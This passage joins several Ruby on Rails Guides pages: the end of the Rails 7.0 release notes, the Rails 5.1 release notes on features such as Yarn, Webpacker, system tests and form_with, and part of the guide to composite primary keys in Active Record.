* Remove deprecated support concat errors to `ActiveModel::Errors#messages`.

* Remove deprecated support to `clear` errors from `ActiveModel::Errors#messages`.

* Remove deprecated support to `delete` errors from `ActiveModel::Errors#messages`.

* Remove deprecated support to use `[]=` in `ActiveModel::Errors#messages`.

* Remove support to Marshal and YAML load Rails 5.x error format.

* Remove support to Marshal load Rails 5.x `ActiveModel::AttributeSet` format.

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated `config.active_support.use_sha1_digests`.

* Remove deprecated `URI.parser`.

* Remove deprecated support to use `Range#include?` to check the inclusion of a value in a date time range is deprecated.

* Remove deprecated `ActiveSupport::Multibyte::Unicode.default_normalization_form`.

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate passing a format to `#to_s` in favor of `#to_fs` in `Array`, `Range`, `Date`, `DateTime`, `Time`, `BigDecimal`, `Float` and, `Integer`.

  This deprecation is to allow Rails application to take advantage of a Ruby 3.1 [optimization](https://github.com/ruby/ruby/commit/b08dacfea39ad8da3f1fd7fdd0e4538cc892ec44) that makes interpolation of some types of objects faster.

  New applications will not have the `#to_s` method overridden on those classes, existing applications can use `config.active_support.disable_to_s_conversion`.

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Removed deprecated behavior that was not halting `after_enqueue`/`after_perform` callbacks when a previous callback was halted with `throw :abort`.

* Remove deprecated `:return_false_on_aborted_enqueue` option.

### [12.2. Deprecations](#active-job-deprecations)

* Deprecated `Rails.config.active_job.skip_after_callbacks_if_terminated`.

### [12.3. Notable changes](#active-job-notable-changes)

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

* Removed deprecated `Rails.application.credentials.action_mailbox.mailgun_api_key`.

* Removed deprecated environment variable `MAILGUN_INGRESS_API_KEY`.

### [14.2. Deprecations](#action-mailbox-deprecations)

### [14.3. Notable changes](#action-mailbox-notable-changes)

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/5_1_release_notes.html
----

***

## [1. Upgrading to Rails 5.1](#upgrading-to-rails-5-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.1. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-0-to-rails-5-1) guide.

## [2. Major Features](#major-features)

### [2.1. Yarn Support](#yarn-support)

[Pull Request](https://github.com/rails/rails/pull/26836)

Rails 5.1 allows managing JavaScript dependencies from npm via Yarn. This will make it easy to use libraries like React, VueJS or any other library from npm world. The Yarn support is integrated with the asset pipeline so that all dependencies will work seamlessly with the Rails 5.1 app.

### [2.2. Optional Webpack support](#optional-webpack-support)

[Pull Request](https://github.com/rails/rails/pull/27288)

Rails apps can integrate with [Webpack](https://webpack.js.org/), a JavaScript asset bundler, more easily using the new [Webpacker](https://github.com/rails/webpacker) gem. Use the `--webpack` flag when generating new applications to enable Webpack integration.

This is fully compatible with the asset pipeline, which you can continue to use for images, fonts, sounds, and other assets. You can even have some JavaScript code managed by the asset pipeline, and other code processed via Webpack. All of this is managed by Yarn, which is enabled by default.

### [2.3. jQuery no longer a default dependency](#jquery-no-longer-a-default-dependency)

[Pull Request](https://github.com/rails/rails/pull/27113)

jQuery was required by default in earlier versions of Rails to provide features like `data-remote`, `data-confirm` and other parts of Rails' Unobtrusive JavaScript offerings. It is no longer required, as the UJS has been rewritten to use plain, vanilla JavaScript. This code now ships inside of Action View as `rails-ujs`.

You can still use jQuery if needed, but it is no longer required by default.

### [2.4. System tests](#system-tests)

[Pull Request](https://github.com/rails/rails/pull/26703)

Rails 5.1 has baked-in support for writing Capybara tests, in the form of System tests. You no longer need to worry about configuring Capybara and database cleaning strategies for such tests. Rails 5.1 provides a wrapper for running tests in Chrome with additional features such as failure screenshots.

### [2.5. Encrypted secrets](#encrypted-secrets)

[Pull Request](https://github.com/rails/rails/pull/28038)

Rails now allows management of application secrets in a secure way, inspired by the [sekrets](https://github.com/ahoward/sekrets) gem.

Run `bin/rails secrets:setup` to set up a new encrypted secrets file. This will also generate a master key, which must be stored outside of the repository. The secrets themselves can then be safely checked into the revision control system, in an encrypted form.

Secrets will be decrypted in production, using a key stored either in the `RAILS_MASTER_KEY` environment variable, or in a key file.

### [2.6. Parameterized mailers](#parameterized-mailers)

[Pull Request](https://github.com/rails/rails/pull/27825)

Allows specifying common parameters used for all methods in a mailer class in order to share instance variables, headers, and other common setup.

```
class InvitationsMailer < ApplicationMailer
  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
  before_action { @account = params[:inviter].account }

  def account_invitation
    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
  end
end
```

```
InvitationsMailer.with(inviter: person_a, invitee: person_b)
                 .account_invitation.deliver_later
```

### [2.7. Direct & resolved routes](#direct-resolved-routes)

[Pull Request](https://github.com/rails/rails/pull/23138)

Rails 5.1 adds two new methods, `resolve` and `direct`, to the routing DSL. The `resolve` method allows customizing polymorphic mapping of models.

```
resource :basket

resolve("Basket") { [:basket] }
```

```
<%= form_for @basket do |form| %>
  <!-- basket form -->
<% end %>
```

This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.

The `direct` method allows creation of custom URL helpers.

```
direct(:homepage) { "https://rubyonrails.org" }

homepage_url # => "https://rubyonrails.org"
```

The return value of the block must be a valid argument for the `url_for` method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.

```
direct :commentable do |model|
  [ model, anchor: model.dom_id ]
end

direct :main do
  { controller: 'pages', action: 'index', subdomain: 'www' }
end
```

### [2.8. Unification of form\_for and form\_tag into form\_with](#unification-of-form-for-and-form-tag-into-form-with)

[Pull Request](https://github.com/rails/rails/pull/26976)

Before Rails 5.1, there were two interfaces for handling HTML forms: `form_for` for model instances and `form_tag` for custom URLs.

Rails 5.1 combines both of these interfaces with `form_with`, and can generate form tags based on URLs, scopes, or models.

Using just a URL:

```
<%= form_with url: posts_path do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
  <input type="text" name="title">
</form>
```

Adding a scope prefixes the input field names:

```
<%= form_with scope: :post, url: posts_path do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
  <input type="text" name="post[title]">
</form>
```

Using a model infers both the URL and scope:

```
<%= form_with model: Post.new do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
  <input type="text" name="post[title]">
</form>
```

An existing model makes an update form and fills out field values:

```
<%= form_with model: Post.first do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts/1" method="post" data-remote="true">
  <input type="hidden" name="_method" value="patch">
  <input type="text" name="post[title]" value="<the title of the post>">
</form>
```

## [3. Incompatibilities](#incompatibilities)

The following changes may require immediate action upon upgrade.

### [3.1. Transactional tests with multiple connections](#transactional-tests-with-multiple-connections)

Transactional tests now wrap all Active Record connections in database transactions.

When a test spawns additional threads, and those threads obtain database connections, those connections are now handled specially:

The threads will share a single connection, which is inside the managed transaction. This ensures all threads see the database in the same state, ignoring the outermost transaction. Previously, such additional connections were unable to see the fixture rows, for example.

When a thread enters a nested transaction, it will temporarily obtain exclusive use of the connection, to maintain isolation.

If your tests currently rely on obtaining a separate, outside-of-transaction, connection in a spawned thread, you'll need to switch to more explicit connection management.

If your tests spawn threads and those threads interact while also using explicit database transactions, this change may introduce a deadlock.

The easy way to opt-out of this new behavior is to disable transactional tests on any test cases it affects.

## [4. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#railties-removals)

* Remove deprecated `config.static_cache_control`. ([commit](https://github.com/rails/rails/commit/c861decd44198f8d7d774ee6a74194d1ac1a5a13))

* Remove deprecated `config.serve_static_files`. ([commit](https://github.com/rails/rails/commit/0129ca2eeb6d5b2ea8c6e6be38eeb770fe45f1fa))

* Remove deprecated file `rails/rack/debugger`. ([commit](https://github.com/rails/rails/commit/7563bf7b46e6f04e160d664e284a33052f9804b8))

* Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`, `rails:update:configs` and `rails:update:bin`. ([commit](https://github.com/rails/rails/commit/f7782812f7e727178e4a743aa2874c078b722eef))

* Remove deprecated `CONTROLLER` environment variable for `routes` task. ([commit](https://github.com/rails/rails/commit/f9ed83321ac1d1902578a0aacdfe55d3db754219))

* Remove -j (--javascript) option from `rails new` command. ([Pull Request](https://github.com/rails/rails/pull/28546))

### [4.2. Notable changes](#railties-notable-changes)

* Added a shared section to `config/secrets.yml` that will be loaded for all environments. ([commit](https://github.com/rails/rails/commit/e530534265d2c32b5c5f772e81cb9002dcf5e9cf))

* The config file `config/secrets.yml` is now loaded in with all keys as symbols. ([Pull Request](https://github.com/rails/rails/pull/26929))

* Removed jquery-rails from default stack. rails-ujs, which is shipped with Action View, is included as default UJS adapter. ([Pull Request](https://github.com/rails/rails/pull/27113))

* Add Yarn support in new apps with a yarn binstub and package.json. ([Pull Request](https://github.com/rails/rails/pull/26836))

* Add Webpack support in new apps via the `--webpack` option, which will delegate to the rails/webpacker gem. ([Pull Request](https://github.com/rails/rails/pull/27288))

* Initialize Git repo when generating new app, if option `--skip-git` is not provided. ([Pull Request](https://github.com/rails/rails/pull/27632))

* Add encrypted secrets in `config/secrets.yml.enc`. ([Pull Request](https://github.com/rails/rails/pull/28038))

* Display railtie class name in `rails initializers`. ([Pull Request](https://github.com/rails/rails/pull/25257))

## [5. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md) for detailed changes.

### [5.1. Notable changes](#action-cable-notable-changes)

* Added support for `channel_prefix` to Redis and evented Redis adapters in `cable.yml` to avoid name collisions when using the same Redis server with multiple applications. ([Pull Request](https://github.com/rails/rails/pull/27425))

* Add `ActiveSupport::Notifications` hook for broadcasting data. ([Pull Request](https://github.com/rails/rails/pull/24988))

## [6. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-pack-removals)

* Removed support for non-keyword arguments in `#process`, `#get`, `#post`, `#patch`, `#put`, `#delete`, and `#head` for the `ActionDispatch::IntegrationTest` and `ActionController::TestCase` classes. ([Commit](https://github.com/rails/rails/commit/98b8309569a326910a723f521911e54994b112fb), [Commit](https://github.com/rails/rails/commit/de9542acd56f60d281465a59eac11e15ca8b3323))

* Removed deprecated `ActionDispatch::Callbacks.to_prepare` and `ActionDispatch::Callbacks.to_cleanup`. ([Commit](https://github.com/rails/rails/commit/3f2b7d60a52ffb2ad2d4fcf889c06b631db1946b))

* Removed deprecated methods related to controller filters. ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757))

* Removed deprecated support to `:text` and `:nothing` in `render`. ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496), [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111))

* Removed deprecated support for calling `HashWithIndifferentAccess` methods on `ActionController::Parameters`. ([Commit](https://github.com/rails/rails/pull/26746/commits/7093ceb480ad6a0a91b511832dad4c6a86981b93))

### [6.2. Deprecations](#action-pack-deprecations)

* Deprecated `config.action_controller.raise_on_unfiltered_parameters`. It doesn't have any effect in Rails 5.1. ([Commit](https://github.com/rails/rails/commit/c6640fb62b10db26004a998d2ece98baede509e5))

### [6.3. Notable changes](#action-pack-notable-changes)

* Added the `direct` and `resolve` methods to the routing DSL. ([Pull Request](https://github.com/rails/rails/pull/23138))

* Added a new `ActionDispatch::SystemTestCase` class to write system tests in your applications. ([Pull Request](https://github.com/rails/rails/pull/26703))

## [7. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-view-removals)

* Removed deprecated `#original_exception` in `ActionView::Template::Error`. ([commit](https://github.com/rails/rails/commit/b9ba263e5aaa151808df058f5babfed016a1879f))

* Remove the option `encode_special_chars` misnomer from `strip_tags`. ([Pull Request](https://github.com/rails/rails/pull/28061))

### [7.2. Deprecations](#action-view-deprecations)

* Deprecated Erubis ERB handler in favor of Erubi. ([Pull Request](https://github.com/rails/rails/pull/27757))

### [7.3. Notable changes](#action-view-notable-changes)

* Raw template handler (the default template handler in Rails 5) now outputs HTML-safe strings. ([commit](https://github.com/rails/rails/commit/1de0df86695f8fa2eeae6b8b46f9b53decfa6ec8))

* Change `datetime_field` and `datetime_field_tag` to generate `datetime-local` fields. ([Pull Request](https://github.com/rails/rails/pull/25469))

* New Builder-style syntax for HTML tags (`tag.div`, `tag.br`, etc.) ([Pull Request](https://github.com/rails/rails/pull/25543))

* Add `form_with` to unify `form_tag` and `form_for` usage. ([Pull Request](https://github.com/rails/rails/pull/26976))

* Add `check_parameters` option to `current_page?`. ([Pull Request](https://github.com/rails/rails/pull/27549))

## [8. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [8.1. Notable changes](#action-mailer-notable-changes)

* Allowed setting custom content type when attachments are included and body is set inline. ([Pull Request](https://github.com/rails/rails/pull/27227))

* Allowed passing lambdas as values to the `default` method. ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))

* Added support for parameterized invocation of mailers to share before filters and defaults between different mailer actions. ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))

* Passed the incoming arguments to the mailer action to `process.action_mailer` event under an `args` key. ([Pull Request](https://github.com/rails/rails/pull/27900))

## [9. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-record-removals)

* Removed support for passing arguments and block at the same time to `ActiveRecord::QueryMethods#select`. ([Commit](https://github.com/rails/rails/commit/4fc3366d9d99a0eb19e45ad2bf38534efbf8c8ce))

* Removed deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes. ([Commit](https://github.com/rails/rails/commit/00e3973a311))

* Removed deprecated force-reload argument in singular and collection association readers. ([Commit](https://github.com/rails/rails/commit/09cac8c67af))

* Removed deprecated support for passing a column to `#quote`. ([Commit](https://github.com/rails/rails/commit/e646bad5b7c))

* Removed deprecated `name` arguments from `#tables`. ([Commit](https://github.com/rails/rails/commit/d5be101dd02214468a27b6839ffe338cfe8ef5f3))

* Removed deprecated behavior of `#tables` and `#table_exists?` to return tables and views to return only tables and not views. ([Commit](https://github.com/rails/rails/commit/5973a984c369a63720c2ac18b71012b8347479a8))

* Removed deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize` and `ActiveRecord::StatementInvalid#original_exception`. ([Commit](https://github.com/rails/rails/commit/bc6c5df4699d3f6b4a61dd12328f9e0f1bd6cf46))

* Removed deprecated support of passing a class as a value in a query. ([Commit](https://github.com/rails/rails/commit/b4664864c972463c7437ad983832d2582186e886))

* Removed deprecated support to query using commas on LIMIT. ([Commit](https://github.com/rails/rails/commit/fc3e67964753fb5166ccbd2030d7382e1976f393))

* Removed deprecated `conditions` parameter from `#destroy_all`. ([Commit](https://github.com/rails/rails/commit/d31a6d1384cd740c8518d0bf695b550d2a3a4e9b))

* Removed deprecated `conditions` parameter from `#delete_all`. ([Commit](https://github.com/rails/rails/pull/27503/commits/e7381d289e4f8751dcec9553dcb4d32153bd922b))

* Removed deprecated method `#load_schema_for` in favor of `#load_schema`. ([Commit](https://github.com/rails/rails/commit/419e06b56c3b0229f0c72d3e4cdf59d34d8e5545))

* Removed deprecated `#raise_in_transactional_callbacks` configuration. ([Commit](https://github.com/rails/rails/commit/8029f779b8a1dd9848fee0b7967c2e0849bf6e07))

* Removed deprecated `#use_transactional_fixtures` configuration. ([Commit](https://github.com/rails/rails/commit/3955218dc163f61c932ee80af525e7cd440514b3))

### [9.2. Deprecations](#active-record-deprecations)

* Deprecated `error_on_ignored_order_or_limit` flag in favor of `error_on_ignored_order`. ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))

* Deprecated `sanitize_conditions` in favor of `sanitize_sql`. ([Pull Request](https://github.com/rails/rails/pull/25999))

* Deprecated `supports_migrations?` on connection adapters. ([Pull Request](https://github.com/rails/rails/pull/28172))

* Deprecated `Migrator.schema_migrations_table_name`, use `SchemaMigration.table_name` instead. ([Pull Request](https://github.com/rails/rails/pull/28351))

* Deprecated using `#quoted_id` in quoting and type casting. ([Pull Request](https://github.com/rails/rails/pull/27962))

* Deprecated passing `default` argument to `#index_name_exists?`. ([Pull Request](https://github.com/rails/rails/pull/26930))

### [9.3. Notable changes](#active-record-notable-changes)

* Change Default Primary Keys to BIGINT. ([Pull Request](https://github.com/rails/rails/pull/26266))

* Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+. ([Commit](https://github.com/rails/rails/commit/65bf1c60053e727835e06392d27a2fb49665484c))

* Added support for limits in batch processing. ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))

* Transactional tests now wrap all Active Record connections in database transactions. ([Pull Request](https://github.com/rails/rails/pull/28726))

* Skipped comments in the output of `mysqldump` command by default. ([Pull Request](https://github.com/rails/rails/pull/23301))

* Fixed `ActiveRecord::Relation#count` to use Ruby's `Enumerable#count` for counting records when a block is passed as argument instead of silently ignoring the passed block. ([Pull Request](https://github.com/rails/rails/pull/24203))

* Pass `"-v ON_ERROR_STOP=1"` flag with `psql` command to not suppress SQL errors. ([Pull Request](https://github.com/rails/rails/pull/24773))

* Add `ActiveRecord::Base.connection_pool.stat`. ([Pull Request](https://github.com/rails/rails/pull/26988))

* Inheriting directly from `ActiveRecord::Migration` raises an error. Specify the Rails version for which the migration was written for. ([Commit](https://github.com/rails/rails/commit/249f71a22ab21c03915da5606a063d321f04d4d3))

* An error is raised when `through` association has ambiguous reflection name. ([Commit](https://github.com/rails/rails/commit/0944182ad7ed70d99b078b22426cbf844edd3f61))

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

* Removed deprecated methods in `ActiveModel::Errors`. ([commit](https://github.com/rails/rails/commit/9de6457ab0767ebab7f2c8bc583420fda072e2bd))

* Removed deprecated `:tokenizer` option in the length validator. ([commit](https://github.com/rails/rails/commit/6a78e0ecd6122a6b1be9a95e6c4e21e10e429513))

* Remove deprecated behavior that halts callbacks when the return value is false. ([commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))

### [10.2. Notable changes](#active-model-notable-changes)

* The original string assigned to a model attribute is no longer incorrectly frozen. ([Pull Request](https://github.com/rails/rails/pull/28729))

## [11. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-job-removals)

* Removed deprecated support to passing the adapter class to `.queue_adapter`. ([commit](https://github.com/rails/rails/commit/d1fc0a5eb286600abf8505516897b96c2f1ef3f6))

* Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`. ([commit](https://github.com/rails/rails/commit/d861a1fcf8401a173876489d8cee1ede1cecde3b))

### [11.2. Notable changes](#active-job-notable-changes)

* Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`. ([Pull Request](https://github.com/rails/rails/pull/25991))

* Yield the job instance so you have access to things like `job.arguments` on the custom logic after retries fail. ([commit](https://github.com/rails/rails/commit/a1e4c197cb12fef66530a2edfaeda75566088d1f))

## [12. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#removals)

* Removed the `ActiveSupport::Concurrency::Latch` class. ([Commit](https://github.com/rails/rails/commit/0d7bd2031b4054fbdeab0a00dd58b1b08fb7fea6))

* Removed `halt_callback_chains_on_return_false`. ([Commit](https://github.com/rails/rails/commit/4e63ce53fc25c3bc15c5ebf54bab54fa847ee02a))

* Removed deprecated behavior that halts callbacks when the return is false. ([Commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))

### [12.2. Deprecations](#active-support-deprecations)

* The top level `HashWithIndifferentAccess` class has been softly deprecated in favor of the `ActiveSupport::HashWithIndifferentAccess` one. ([Pull Request](https://github.com/rails/rails/pull/28157))

* Deprecated passing string to `:if` and `:unless` conditional options on `set_callback` and `skip_callback`. ([Commit](https://github.com/rails/rails/commit/0952552))

### [12.3. Notable changes](#notable-changes)

* Fixed duration parsing and traveling to make it consistent across DST changes. ([Commit](https://github.com/rails/rails/commit/8931916f4a1c1d8e70c06063ba63928c5c7eab1e), [Pull Request](https://github.com/rails/rails/pull/26597))

* Updated Unicode to version 9.0.0. ([Pull Request](https://github.com/rails/rails/pull/27822))

* Add Duration#before and #after as aliases for #ago and #since. ([Pull Request](https://github.com/rails/rails/pull/27721))

* Added `Module#delegate_missing_to` to delegate method calls not defined for the current object to a proxy object. ([Pull Request](https://github.com/rails/rails/pull/23930))

* Added `Date#all_day` which returns a range representing the whole day of the current date & time. ([Pull Request](https://github.com/rails/rails/pull/24930))

* Introduced the `assert_changes` and `assert_no_changes` methods for tests. ([Pull Request](https://github.com/rails/rails/pull/25393))

* The `travel` and `travel_to` methods now raise on nested calls. ([Pull Request](https://github.com/rails/rails/pull/24890))

* Update `DateTime#change` to support usec and nsec. ([Pull Request](https://github.com/rails/rails/pull/28242))

## [13. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_composite_primary_keys.html
----

***

## [1. What are Composite Primary Keys?](#what-are-composite-primary-keys-questionmark)

Sometimes a single column's value isn't enough to uniquely identify every row of a table, and a combination of two or more columns is required. This can be the case when using a legacy database schema without a single `id` column as a primary key, or when altering schemas for sharding or multitenancy.

Composite primary keys increase complexity and can be slower than a single primary key column. Ensure your use-case requires a composite primary key before using one.

## [2. Composite Primary Key Migrations](#composite-primary-key-migrations)

You can create a table with a composite primary key by passing the `:primary_key` option to `create_table` with an array value:

```
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products, primary_key: [:store_id, :sku] do |t|
      t.integer :store_id
      t.string :sku
      t.text :description
    end
  end
end
```

## [3. Querying Models](#querying-models)

### [3.1. Using `#find`](#using-find)

If your table uses a composite primary key, you'll need to pass an array when using `#find` to locate a record:

```
# Find the product with store_id 3 and sku "XYZ12345"
irb> product = Product.find([3, "XYZ12345"])
=> #<Product store_id: 3, sku: "XYZ12345", description: "Yellow socks">
```

The SQL equivalent of the above is:

```
SELECT * FROM products WHERE store_id = 3 AND sku = "XYZ12345"
```

To find multiple records with composite IDs, pass an array of arrays to `#find`:

```
# Find the products with primary keys [1, "ABC98765"] and [7, "ZZZ11111"]
irb> products = Product.find([[1, "ABC98765"], [7, "ZZZ11111"]])
=> [
  #<Product store_id: 1, sku: "ABC98765", description: "Red Hat">,
  #<Product store_id: 7, sku: "ZZZ11111", description: "Green Pants">
]
```

The SQL equivalent of the above is:

```
SELECT * FROM products WHERE (store_id = 1 AND sku = 'ABC98765' OR store_id = 7 AND sku = 'ZZZ11111')
```

Models with composite primary keys will also use the full composite primary key when ordering:

```
irb> product = Product.first
=> #<Product store_id: 1, sku: "ABC98765", description: "Red Hat">
```

The SQL equivalent of the above is:

```
SELECT * FROM products ORDER BY products.store_id ASC, products.sku ASC LIMIT 1
```

Likewise, `last` will use the full composite primary key with the sort direction for each column reversed:

```
irb> product = Product.last
=> #<Product store_id: 7, sku: "ZZZ11111", description: "Green Pants">
```

The SQL equivalent of the above is:

```
SELECT * FROM products ORDER BY products.store_id DESC, products.sku DESC LIMIT 1
```

Here, the sort direction is descending for both store\_id and sku because both columns are part of the composite primary key.

### [3.2. Using `#where`](#using-where)

Hash conditions for `#where` may be specified in a tuple-like syntax. This can be useful for querying composite primary key relations:

```
Product.where(Product.primary_key => [[1, "ABC98765"], [7, "ZZZ11111"]])
```

#### [3.2.1. Conditions with `:id`](#conditions-with-id)

When specifying conditions on methods like `find_by` and `where`, the use of `id` will match against an `:id` attribute on the model. This is different from `find`, where the ID passed in should be a primary key value.

For example, this `find_by` call matches the `:id` column, not the full composite primary key:

```
Order.find_by(id: 5)
```

And this `where` call behaves the same way:

```
Order.where(id: 5)
```

Take caution when using `find_by(id:)` on models where `:id` is not the primary key, such as composite primary key models. See the [Active Record Querying](active_record_querying.html#conditions-with-id) guide to learn more.

## [4. Associations between Models with Composite Primary Keys](#associations-between-models-with-composite-primary-keys)

Rails can often infer the primary key-foreign key relationships between associated models. However, when dealing with composite primary keys, Rails typically defaults to using only part of the composite key, usually the `id` column, unless explicitly instructed otherwise. This default behavior only works if the model's composite primary key contains the `:id` column, *and* the column is unique for all records.

Consider the following example:

```
class Order < ApplicationRecord
  self.primary_key = [:shop_id, :id]
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :order
end
```

In this setup, `Order` has a composite primary key consisting of `[:shop_id, :id]`, and `Book` belongs to `Order`. Rails will assume that the `:id` column should be used as the primary key for the association between an order and its books. It will infer that the foreign key column on the books table is `:order_id`.

Below we create an `Order` and a `Book` associated with it:

```
order = Order.create!(id: [1, 2], status: "pending")
book = order.books.create!(title: "A Cool Book")
```

To access the book's order, we reload the association:

```
book.reload.order
```

When doing so, Rails will generate the following SQL to access the order:

```
SELECT * FROM orders WHERE id = 2
```

You can see that Rails uses the order's `id` in its query, rather than both the `shop_id` and the `id`. In this case, the `id` is sufficient because the model's composite primary key does in fact contain the `:id` column, *and* the column is unique for all records.

However, if the above requirements are not met or you would like to use the full composite primary key in associations, you can set the `foreign_key:` option on the association. This option specifies a composite foreign key on the association; all columns in the foreign key will be used when querying the associated record(s). For example:

```
class Author < ApplicationRecord
  self.primary_key = [:first_name, :last_name]
  has_many :books, foreign_key: [:first_name, :last_name]
end

class Book < ApplicationRecord
  belongs_to :author, foreign_key: [:author_first_name, :author_last_name]
end
```

In this setup, `Author` has a composite primary key consisting of `[:first_name, :last_name]`, and `Book` belongs to `Author` with a composite foreign key `[:author_first_name, :author_last_name]`.

Create an `Author` and a `Book` associated with it:

```
author = Author.create!(first_name: "Jane", last_name: "Doe")
book = author.books.create!(title: "A Cool Book", author_first_name: "Jane", author_last_name: "Doe")
```

To access the book's author, we reload the association:

```
book.reload.author
```

Rails will now use the `:first_name` *and* `:last_name` from the composite primary key in the SQL query:

```
SELECT * FROM authors WHERE first_name = 'Jane' AND last_name = 'Doe'
```

## [5. Forms for Composite Primary Key Models](#forms-for-composite-primary-key-models)

Forms may also be built for composite primary key models. See the [Form Helpers](form_helpers.html) guide for more information on the form builder syntax.

Given a `@book` model object with a composite key `[:author_id, :id]`:

```
@book = Book.find([2, 25])
# => #<Book id: 25, title: "Some book", author_id: 2>
```

The following form:

```
<%= form_with model: @book do |form| %>
  <%= form.text_field :title %>
  <%= form.submit %>
<% end %>
```

Outputs:

```
<form action="/books/2_25" method="post" accept-charset="UTF-8" >
  <input name="authenticity_token" type="hidden" value="..." />
  <input type="text" name="book[title]" id="book_title" value="My book" />
  <input type="submit" name="commit" value="Update Book" data-disable-with="Update Book">
</form>
```

Note the generated URL contains the `author_id` and `id` delimited by an underscore. Once submitted, the controller can extract primary key values from the parameters and update the record. See the next section for more details.

## [6. Composite Key Parameters](#composite-key-parameters)

Composite key parameters contain multiple values in one parameter. For this reason, we need to be able to extract each value and pass them to Active Record. We can leverage the `extract_value` method for this use-case.

Given the following controller:

```
class BooksController < ApplicationController
  def show
    # Extract the composite ID value from URL parameters.
    id = params.extract_value(:id)
    # Find the book using the composite ID.
    @book = Book.find(id)
    # use the default rendering behavior to render the show view.
  end
end
```

And the following route:

```
get "/books/:id", to: "books#show"
```

When a user opens the URL `/books/4_2`, the controller will extract the composite key value `["4", "2"]` and pass it to `Book.find` to render the right record in the view. The `extract_value` method may be used to extract arrays out of any delimited parameters.

## [7. Composite Primary Key Fixtures](#composite-primary-key-fixtures)

